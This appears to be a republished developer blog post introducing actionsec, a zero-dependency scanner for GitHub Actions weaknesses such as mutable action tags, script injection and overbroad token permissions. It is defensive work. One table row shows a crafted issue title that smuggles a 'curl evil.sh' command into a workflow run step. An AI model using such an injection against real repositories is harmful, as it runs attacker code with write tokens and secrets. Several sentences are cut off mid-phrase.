{"slug": "a-zero-dep-cli-that-scans-your-github-actions-for-the-mistakes-that-actually-get", "title": "A zero-dep CLI that scans your GitHub Actions for the mistakes that actually get repos compromised", "summary": "A developer built actionsec, a zero-dependency CLI tool that scans GitHub Actions workflows for security vulnerabilities like unpinned action tags and script injection risks. The tool runs via `npx actionsec` or `pip install actionsec` and identifies issues such as mutable action tags, broad permissions, and pull_request_target checkout flaws without requiring a YAML parser. Actionsec is designed as a fast, zero-config first pass for pre-commit hooks or CI gates, complementing deeper tools like actionlint and zizmor.", "body_md": "Your CI workflow is the softest target in your repo. It runs automatically, it\n\nhas a `GITHUB_TOKEN`\n\nthat can push commits, and it can read your secrets. The\n\nsupply-chain attacks of 2025 — reviewdog, `tj-actions/changed-files`\n\n— all came\n\nin through the same unlocked door: a workflow that trusted a **mutable action\ntag**, so when the upstream tag got repointed at malicious code, every consumer\n\nThe uncomfortable stat: [71% of repositories never pin their actions to a commit\nSHA](https://arxiv.org/html/2502.06662v1).\n\n`@v4`\n\nis not a version — it's aI wanted a five-second check for this and the other top footguns, with nothing to\n\ninstall and nothing to configure. So I built **actionsec**.\n\n```\nnpx actionsec\n.github/workflows/ci.yml\n  ✗ critical  L12   pull-request-target-checkout  pull_request_target checks out PR head code — untrusted code runs with a write token\n  ✗ critical  L16   script-injection              untrusted github.event.pull_request.title in a run step\n  ✗ high      L5    broad-permissions             permissions: write-all gives the token full read/write\n  ✗ high      L13   unpinned-action               some-marketplace/deploy-action@main is a mutable branch — pin to a SHA\n  ✗ medium    L10   unpinned-action               actions/checkout@v4 is a mutable tag — pin to a SHA\n\n✗ 5 issue(s) in 1 of 1 file(s) — 2 critical, 2 high, 1 medium\n```\n\n| Check | Why it matters |\n|---|---|\nunpinned-action |\n`@v4` / `@main` is mutable. If the upstream tag is repointed (compromise or maintainer error), you run new code with your token. Pin to a 40-char SHA. |\nscript-injection |\n`${{ github.event.issue.title }}` in a `run:` step is substituted into the shell before it runs — a crafted issue title like `\"; curl evil.sh \\ |\nbroad-permissions |\n{% raw %}`permissions: write-all` hands the token the whole repo. One injected command and it's pushing to `main` . |\nmissing-permissions |\nNo `permissions:` block means the repo default — often more than the job needs. |\npull-request-target-checkout |\n`pull_request_target` runs with a privileged token and secrets; checking out the PR's code then executes a stranger's code with them. |\n\nWorkflows are YAML, and here's the thing — **neither Node nor Python ships a YAML\nparser in the standard library.** Pulling one in would mean the tool itself has a\n\nSo actionsec doesn't parse YAML into a tree at all. It scans line by line with\n\nlight block-awareness. That sounds crude, but it turns out every one of these\n\nchecks is *textually* distinctive — a `uses:`\n\nline, a `${{ }}`\n\nexpression inside\n\na `run:`\n\nblock — so a careful line scanner catches them without ever needing to\n\nunderstand the document structure. The payoff: it installs in one step, depends\n\non nothing, and runs in milliseconds. (It even distinguishes a third-party action\n\non a tag, `high`\n\n, from a GitHub-owned `actions/*`\n\non a tag, `medium`\n\n.)\n\nIt is **not** trying to replace [actionlint](https://github.com/rhysd/actionlint)\n\n(YAML/syntax validation) or [zizmor](https://github.com/woodruffw/zizmor) (deep\n\ndataflow analysis). It's the fast, zero-config first pass that fits in a pre-commit\n\nhook or a one-line CI gate.\n\n```\n# fail the build on the serious stuff\n- run: npx actionsec --min-severity high\n```\n\nExit `0`\n\nclean, `1`\n\nissues found, `2`\n\nerror. `--format json`\n\nfor tooling.\n\n```\nnpx actionsec          # Node — zero deps\npip install actionsec  # Python — pure stdlib, works on any repo\n```\n\nBoth produce byte-for-byte identical output.\n\nPoint it at a repo you maintain — `npx actionsec path/to/repo`\n\n— and tell me what\n\nit finds. I'm especially curious how many `@v4`\n\ns are hiding in workflows people\n\nthink of as \"official and therefore safe.\"\n\nWhen you write a workflow, do you pin actions to a SHA, or is `@v4`\n\ngood enough for\n\nyour threat model?", "url": "https://wpnews.pro/news/a-zero-dep-cli-that-scans-your-github-actions-for-the-mistakes-that-actually-get", "canonical_source": "https://dev.to/_06a3df6b50aec966668fb/a-zero-dep-cli-that-scans-your-github-actions-for-the-mistakes-that-actually-get-repos-compromised-1nnj", "published_at": "2026-06-12 07:17:05+00:00", "updated_at": "2026-06-12 07:42:13.900782+00:00", "lang": "en", "topics": ["ai-tools", "ai-safety"], "entities": ["GitHub", "actionsec", "reviewdog", "tj-actions/changed-files"], "alternates": {"html": "https://wpnews.pro/news/a-zero-dep-cli-that-scans-your-github-actions-for-the-mistakes-that-actually-get", "markdown": "https://wpnews.pro/news/a-zero-dep-cli-that-scans-your-github-actions-for-the-mistakes-that-actually-get.md", "text": "https://wpnews.pro/news/a-zero-dep-cli-that-scans-your-github-actions-for-the-mistakes-that-actually-get.txt", "jsonld": "https://wpnews.pro/news/a-zero-dep-cli-that-scans-your-github-actions-for-the-mistakes-that-actually-get.jsonld"}}